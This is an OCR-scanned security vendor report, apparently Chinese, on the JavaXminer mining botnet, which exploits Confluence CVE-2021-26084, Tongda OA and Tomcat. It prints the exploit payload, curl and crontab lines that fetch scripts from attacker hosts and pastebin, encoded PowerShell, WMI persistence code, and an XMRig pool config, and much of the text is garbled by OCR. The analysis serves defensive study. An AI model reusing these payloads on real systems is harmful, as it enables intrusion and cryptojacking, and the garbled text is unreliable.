2021 FEEH|TIBH AKG——1JavaXminer

&L TERMBRETHIXEMENBFHEHNENFESEES, XNHIUEE ks
TEIXE, XEHFBROEREERSTY, — MR RR LR BPH ADNEEmE,
—BYISWARFHBENT KT, BRERKSEEEZTT, B MUAREwRIFEREAE
s, hAL R LFEARES E— AN EZT AERE, 5—2BNNEEX&ENF
BRI KERTE.

ZHAD—RBERFAERERLEEZY, TRAIETUAKE, FTAEKNEETIL
FIET AR5 EFMNEEFENE. IARNARXSTEHE, LR EHRG. REHFEXR
ERE. ASBHEE,

RICKBEN BRI KA & A JavaXminer IZH KRB REK, ZRELZEA Web
& ERmIEX OA &% . Web REEFFHTHE. ZADRAKEFLELME, ETFH
BHTATAIE K Web IFiE, MERHEEBITIUNEL S Web imiwiEAYEEHX.

360 SRR ATHOM 2018 FFHIE, XS JavaXminer 1T 7 FFELIETE . BAIR
MIZKEE % Windows. Linux X EMINEEES, SBHKTGET 2020 £F 2021 FHK
MEEEGIN, ETXEESMER: SZREFMBENEE Web I BFr——& K OA.
Tomcat. Confluence F——=F|WHHBEAELSE S JavaXminer 2T USHE RS,
XAEIUET JavaXminer BT XN BAELZ & SEFE IS

1 JavaXminer 5 #43%
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2 %% Web KIMBH S
Mg iin)

JavaXminer (I NREFS T BHFIERE A9 Web fRSSi% 1Day 5{&Z nDay i&iE, BAFE1E
B9 B B X BT IR %% 5 B9 SRBR K BHE AN RIRE A9 AR 5528 /3 R AXBR . L 40 Atlassian Confluence
745 8 BJK A A CVE-2021-26084 RCE i, GitHub £ 9 B 1 R{EEIL 78R FI A POC,
EEEE 9 A I ARER TFAIZREX Confluence ZrEHIH .

queryString=aaa\uep27%2b#

{\ues22\uee22[\uee22class\uee22] . forlame(\ued22javax. script.ScriptEngineManager\u8822) .newInstance() . getEngineByName
(\u8822js'u8822).eval(\ueB22var x=new java.lang.ProcessBuilder;x.command([\u@827/bin/bash\u@e27,\usa27-
c\ues27,\ued27 " .$cmd. "\ue827]);x.start()\uee22)}%2b\uea27

3 CVE-2021-26084 F

POC
2821-89-83  http://27.1.1. 32 Javax Vulnerability, Conflu clbla9h7fde
34:8086/docs/ Miner ence, Atlassian, Tomca b29928d65ee
s/kill.sh t dbed622d24
2821-89-83  http://27.1.1. 3 Javax Vulnerability, Conflu clbla9h7{de
34:80808/docs/ Miner ence Atlassian,Tomca b29928d65ee
s/kill.sh t dbed622d24

4 JavaXminer %f Confluence #0x I3

|53 0 Whtlassi an\Confluense\bint tonoatd. exe
23 6 \WINDOHS \Syen
] C: WIHDOWS\S:
= 3 6 WInows\syen
C: WWINDOWS'Sys
= £3C: \WIFIONS \Sysnative\ond axe  ["o \"owrl ~£sSL heep://27. 1. 1. 34:8080/doos/s/cont. txt ~o /tmp/solexk”"]

5] € WINDOWS\Sysnativetowl. exe  ["~£sSL http://27. L. 1.34:8080/docs/s/onk, txt o fmp/solr’]
o= fy [ ihonni®]

lowsPowerShelllvl. D\power shell. exe ["pomershell —enc SABFAF AL OATwES i \TABTAMK A ZOBOACARVWBLAGL:
*/o whowni”]

5 JavaXminer %f Confluence I
EHANEREIAER-. B Z2+F OARG L. lEE OA RGURIENEY, HENMNT
ARt IR BIZ 20 REF A



2820-12-28  -NonInteractive -windowstyle hidden -enc SOBFAFgATAACAE4AZOB3ACBATW :au'“fALE‘.EW ﬁﬂ-\I 1 Javax Vulnerabili

ABTAHKACWBBAGUABDAUAEAAZ(BBACAAVWBLAGTAYWBSAGKAZOBUAHOAKQAUA Miner ty, tongda0OA
TAHQACQBpAGAAZwADACCAaABBAHOACABZ ADOALWAYAHAAY(OBZAHOAZOB1AGKADGAUAGMADWETACBAC gBhH
HCALWEXAECACOQBZAETAdOEFARMAJWADAA==

20820-12-21 ve -wind 1e hiddp’ -enc SOBFAFQATAACAE4AZOB B1AGOAZOE JAHOA 1 Javax Vulnerabili

-B.)“\GkALqB'JHH IAKunA bA A Miner ty, tongda0A

He. -«L 4E€¥AECA-"QBZ“EIu\chBF-\}—VAu er!\p-!.ﬁ——

6 JavaXminer XTiE@+OA ¥R T
== =z O
B %?R AA

FETANMEFERINRSHREZFEESFHADSEET L, ITET KRDXIYE, X
VR LEESHNBECH AT, ATRAREMGERGRREZERETR, F'ERHNEE
TEERTME R ——TEX— & L JavaXminer th AR B5h,

BBEENT R ADEZ LR MBNRKIE, LLI Kinsing . watchbog . Mykings. Sysrv-hello.
SysUpdate. IMGO01 %, (7X: IMGO01 Z BRI AR AFIRE, ZRELIANBERE, BEH
UBBH. IMERSERITERE.)

DS aux | grep —v grep | grep apacheorg.xyz | awk  fprint $21° | mares -I % kill -9 %
ps aux | grep -v grep | zrep "dbuse’ | awk T {print $2}° | mares -I % kill -9 %

pe aux | grep —v grep | grep kdevtmpfsi® | awk  {print $2}° | marse -I % kill -9 %

pe aux | grep —v grep | grep * javaupDatez’ | awk 7 {print $2}° | zargs -I % kill -9 %
ps aux | grep —v grep | grep "kinsing' | awk ' {print $217 | xares -I % kill -9 %

pe aux | grep —v grep | grep T.javas’ | awk  {print $2}° | margz -I % kill -9 %

| |
| |
| |
| |
| |
| |
pe mux | grep —v grep | grep T 195. 3. 146. 118" | awk ~ {print $2}° | margz -I % kill -9 %
| | zrep “T¥3WybCEodHRw | awk ° {print $2}° | zarss -1 % kill -9 %
| |
| |
| |
| |

PS Aux | grep —v grep
ps aux | grep —v grep | grep “urllib.urlopen’ | awk " {print $21° | xargs -I % kill -9 %
pe aux | grep —v grep | grep “bashire’ | awk © {print $2}° | xargs -I % kill -9 %

pe aux | grep —v grep | gsrep T shm/ptvy86° | awk 7 {print $2}° | zarss -I % Lkill -9 %

pe aux | grep —v grep | erep “shmfie’ | awk  fprint $2}° | mares -I % kill -9 %

2.0.86727_64", “cli_cptinization_v2. 0.56727_32", “Oracle Java System Service”, “Oracle Java Systen

crosoft Telenetry', “Spooler Subsysten Service, ™ 1B Franevork\. 1 Franeork Cache Optinization’.
ET F; T Feanevark Cache Fi 42214268-1138", -HET T Franorork Cache
4pp Update Cache”

4pp Loc]
1\WinShell”, " Pupdate”, Windows Disk

', “Update service for Windows Service”, “oka’, "ayl’, “Microsofts¥indowsy’, “UAC’, "Update service for Oracle productsoo’, “Nicrosoft .NET Framework NGEN v2.0.55727_x32

~Like * *blockn:

ne ~like ‘¥blazepools’ -Or §_.Commandl

9 BMRZEm

KR

ENERINER Linux H188 £, JavaXminer £3&1d crontab BI&iTRI{ES, &5 9835
ja]—>X hxxps://pastebin[.Jcom/raw/xxxxxxxx, FHFEHBZHIT-




crontab -r
crontab -1 | grep —e “r0GMwLfc” | grep —w srep
if [ 3% —eq 0 1; then
echo “cron good”
elze
{
crontab -1 23/ devirull
echo “#/5 % # % % curl —f=5L https:// pastebin. com/raw/r00Mwlfc | =h”
1 | crontab -
fi

10 Linux HXIES
FATIXLE pastebin FEMEIR XA K & A L RIRIEMIES, HERZEE S5HEHA url
EMBEHFER. BirAXx, HPXTHERAETERAEZANEV SRS EERTIGK,
HECEE D EEBRARE, T EEELEMNIRERDHKE., BRI ERE Y
RAES EEMBR, BEREE (bbzn 10 B4) B URL A ZIEE.
RELERIBA/MERABENER TS, BETAIESHRNIEHRILEFEN.

26084 wi_sch
APPLESIGND oCT otk 2021 e APPLESIGNO ocT 10TH, 2021] [ 39585 | 3 NEVER
Not a member of Pastebin yet? Sign Up. it unlocks many cool features! Net a member of Pastebin yet? Sign Up. 1t unlocks many cocl featuras!
text ©.01 KB text ©8.91 KB
Untitled Untitled
wi wmi tomcat_wmi
APPLESIGNG OCT 10TH, 2021 124405 NEVER ALIPAYNOTICE MAY 22ND, 2021 (EDITED) 445872 MNEVER
AFFLESIONY N ULl = =] NEVER
Not a member of Pastebin yet? Sign Up, it unlocks many coal features! Not a member of Pastebin yet? Sign Up. it unlocks many cool features!
ext @.81 KB text ©@.25 KB
text .01
Untitled 4Era se munio de mengs meri
tit
#Ere se munio de magas meri

11 pastebin A&
7£ Windows RGtHIH188 £, JavaXminer B#HS#THRALL, TAEHKN pastebin 3R
fT—BRMEREBBA I ALTNIES . BIBFALESZTHNHXUZEX A WMI Subscription Z 14

B & schtasks #54

Get-WmiObject _ FilterToConsumerBinding -Namespace rooth\subscription | Where-Object {$ filter -notmatch 'Eventl
Scurrent=[5ystem.Security.Principal.WindowsIdentity]: :GetCurrent () .Name replac‘.e I

if ([System.Security.Principal.WindowsIdentity]::GetCurrent () .Name.Contains ("SYSTEM")) {
Try {

Get-WMIOhject -Namespace root\Subscription -Class _ EventFilter -Filter "Name='Eve
Get-WMICkject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter
Get-WMIObje -Namespace rcot\Subscription -Class _ FilterToConsumerBinding -Filter "
Get-Wmilbject _ FilterToConsumerBinding -Namespace root\subscription | Where-Object {$7‘t'11ter -notmatch '
$filterName =

Logers'} |Remove-Wmilbject

[

" | Remove-WmiObject -Verbose

| Remove-WmiCbject -Verbose

" | Remove-Wmilbject -Verbose
3'} |Remove-WmiCkject

SWMIEventFilte:
rQueryLanguages="
$Arg =8{

-Wmilnstance -Class _ EventFilter -NameSpace "root)subscription”
WOL" :Query=SQuery} -Erroriction Stop

-Arquments @{Name=$filterName;EventNameSpace="root'\cimvi"

Hame=SconsumerName
CommandLineTemplate:

3
SWMIEventConsumer = Set-Wmilnstance -Class CormmandLinsEventConsumer —Namespace "root\subscription

cription” -Arguments $SArg
Set-Wmilnstance -Class _ FilterToConsumerBinding -Namespace "root'subscri iption” -Arguments @[{Filter=§WMIEventFilter ;Consumer=$WMIEventConsumer}
3

[Catch {

/F /ru System

12 Windows # & 1t



RITEH

JavaXminer 28 {5 FIEC & X config.json 8 E XMRig HITI &S, ¥ IS
EH Gt ARMER., THRA URL iz —RBEHE T A /docs/FHH, FELEX
R BR S 2818 & & Apache Tomcat,
curl —f=5L http: /727, 1. 1. 34: 8080/ docaf 2/ config. json —o ftmps. solrfconfig. jeon

curl —f=g5L http: /27,101, 34: 8080/ docsf zoled. exe -0 Stmps. solef=zoled
curl —-f=5L http: //27.1.1.34: 8080 docss 2/ =0lr. sh -0 Sftmps. =olrf=olr.sh

13 Linux S TIZH 127

fne = MyInvocation. MCommand, Path

Iminer url = “http:/F27.1.1.34;: 8080/ doc= =mrig. exe”

Iminer name = *jawae”

Iminer_cfg url = “http:/f27.1.1.34: 8080/docsf/ =/ confiz. json”
$miner cfz name = “config. jzon”

$killmodule url = “http: £F27.1. 1. 34: 8080 examples/clean. bat”
$killmodule name = “clean. bat®

fminer_path = “fenv: TMPYjavae. exe”

Iminer _cfz path = “$env: TMP\config. jeon®

$killmodule_path = “$ernwv: TMP4clean. bat”

14 Windows S TIZH 12+
Config.json BEEE X, $8EH A pool.supportxmr.com:80, T pass Z— kX’

“pools": [
{
"algo”: mall,
"coin”: null,
"url”: “pool. supportxzmr. com: 207,
"uzer”: “4TemqgmffiHhdafMzEkABr er 2GET=f 8TEQTTpd 1fpetLwiQkCDTcsx iATF I2xWcDIVhauy 9 salhf GDyMkalveifisPwevI”,
"pass”: “x",
"rig-id”: mall,
“nicehash”: falsze,
"keepalive”: falsze,
"enabled”: true,
"$1z": falze,
"tlz—fingerprint”: null,
“daemon”: false,
"zocks5": null,
"zelf-zelect”: null

15 Config.json Pools BC &

XMR kB #15E

Configjson B2 & A RIS EHU H AR E—, FAINER B MU PERE JL/MEEERAY
Bl 7 supportxmr T INEFZHE HFIZEA ] HEHE, DU HI BT JavaXminer 89
BH .
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16 JavaxXminer B3 SR ELIZH Bt
M EEHRTUEEXBoEEMIRAREE S, RBANZHEAD, mEXERE
it REE P —ER, BT NS JavaXminer N2 IS0 st E,
TR T, PLIZFH A B NERRNRENREIBIR, (EAHEXK> AR PR,
FHHTERERNPTEHNENLAERE, WREBSHETLABTHNIA,
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# JavaXminer N13.
REEMER - EREE R
=g FHEETIEE2021-10-21 16:17:19
=i2:360EDR S EE2021-10-22 09:34:50
NDRERIAERE T 4FE 1 50FE
Alieléd
e « i ARSI RRE:
WA ’ W, RSB, EEURLER
e 3 09:34:41
WERETh 0
S 0
RE 0 ATTECK Bk SrEE WEEE
e 0
FEEG
b= e
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B, PIRESEEL, EURLE
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18 360EDR ZEEHR R

|IOCs (FB47)

URLs:

hxxp://159.65.122.137:8080/docs/javas00.txt
hxxp://27.1.1.34:8080/docs/s/wi.txt
hxxp://27.1.1.34:8080/docs/s/kill.sh
hxxp://167.71.197.52:8888/]s/ta.txt

AT

360EDR

360EDR

N



hxxp://27.1.1.34:8080/docs/config.json
hxxp://27.1.1.34:8080/docs/s/config.json
hxxp://211.239.117.113:8080/docs/dd1.txt
hxxp://159.65.122.137:8080/docs/javas.txt
hxxp://220.132.202.169:9080/docs/ffma.txt
hxxp://27.1.1.34:8080/docs/s/26084.txt
hxxp://159.65.122.137:8080/docs/zy1.txt
hxxps://pastebin.com/raw/R5c9QFnS
hxxps://pastebin.com/raw/F7eCGLQU
hxxps://pastebin.com/raw/rOQMwLfc
hxxps://pastebin.com/raw/V5WR8U2t

et

43DAWB7qLHs6ynPP6IkxLUAgQrG8yyFswlLef9GzBgz8BYnmbhSUIitRYTEfzZXxxCA7HisGC
vwaubsw]JCHGNP42Sx9Jjbdgagp
4BDEgsM9raUWrY2C1ptgnzdC1lhVdnaAdu3vQLmrQuekK882WBrFvnLL4JWUSpuBAZt4d
LMBbKXTmSoPoB6jPUeAuaCCkonTL
47PXdhiZphNHka2K1J9udPj5Nct4zpvCRUMawVY4Rvyxf3FLMPqyR6168hDX4fUF65]NxJa
43szPM3Ni5zDerArzSkdFplK
48zfBUeSCupa7hxjWxxGcABqYKAEpM8BfCLhh]34toDHKLQXdxfSPonCDCcTFHTQTXxTUCK
kCAS28dUSz83H8U6BbdréHh2Q2d
49r6Mp1fcb4fUT5FPTgaz9E47fZVTNn6liY76c4vdBZvgDm8GMWHTVYM9AZzpedMsA9oXs
2RpUNPPfH70XABr3QnwNQKaP2W7
431Vsm2jFrfaxwwgputHDgVWPq69y2bQhBSrdDzCNR4JjADA(]jyuRT|Ckiv3mxAVFG3IW
Lk4GyxMFM8BgMzmhl1uENG6HDP6
48aviohKeqyLCMcWSrvX9BbXWPeZLlps35pMBmMFMtxtnXTROHNPVYU8J1VNHmMhhrao
DEeZ3nBhdtHDJ2f4wskcbv3rd1flZ
4BrL51JCcOINGQ71kWhnYoDRffsDZy7m1HUU7MRU4NUMXAHNFBEJhkTZV9Hdal4gfuN
BxLPc3BeMKkLGaPbF5vWtANQKiTzF2BGMcPSynymf
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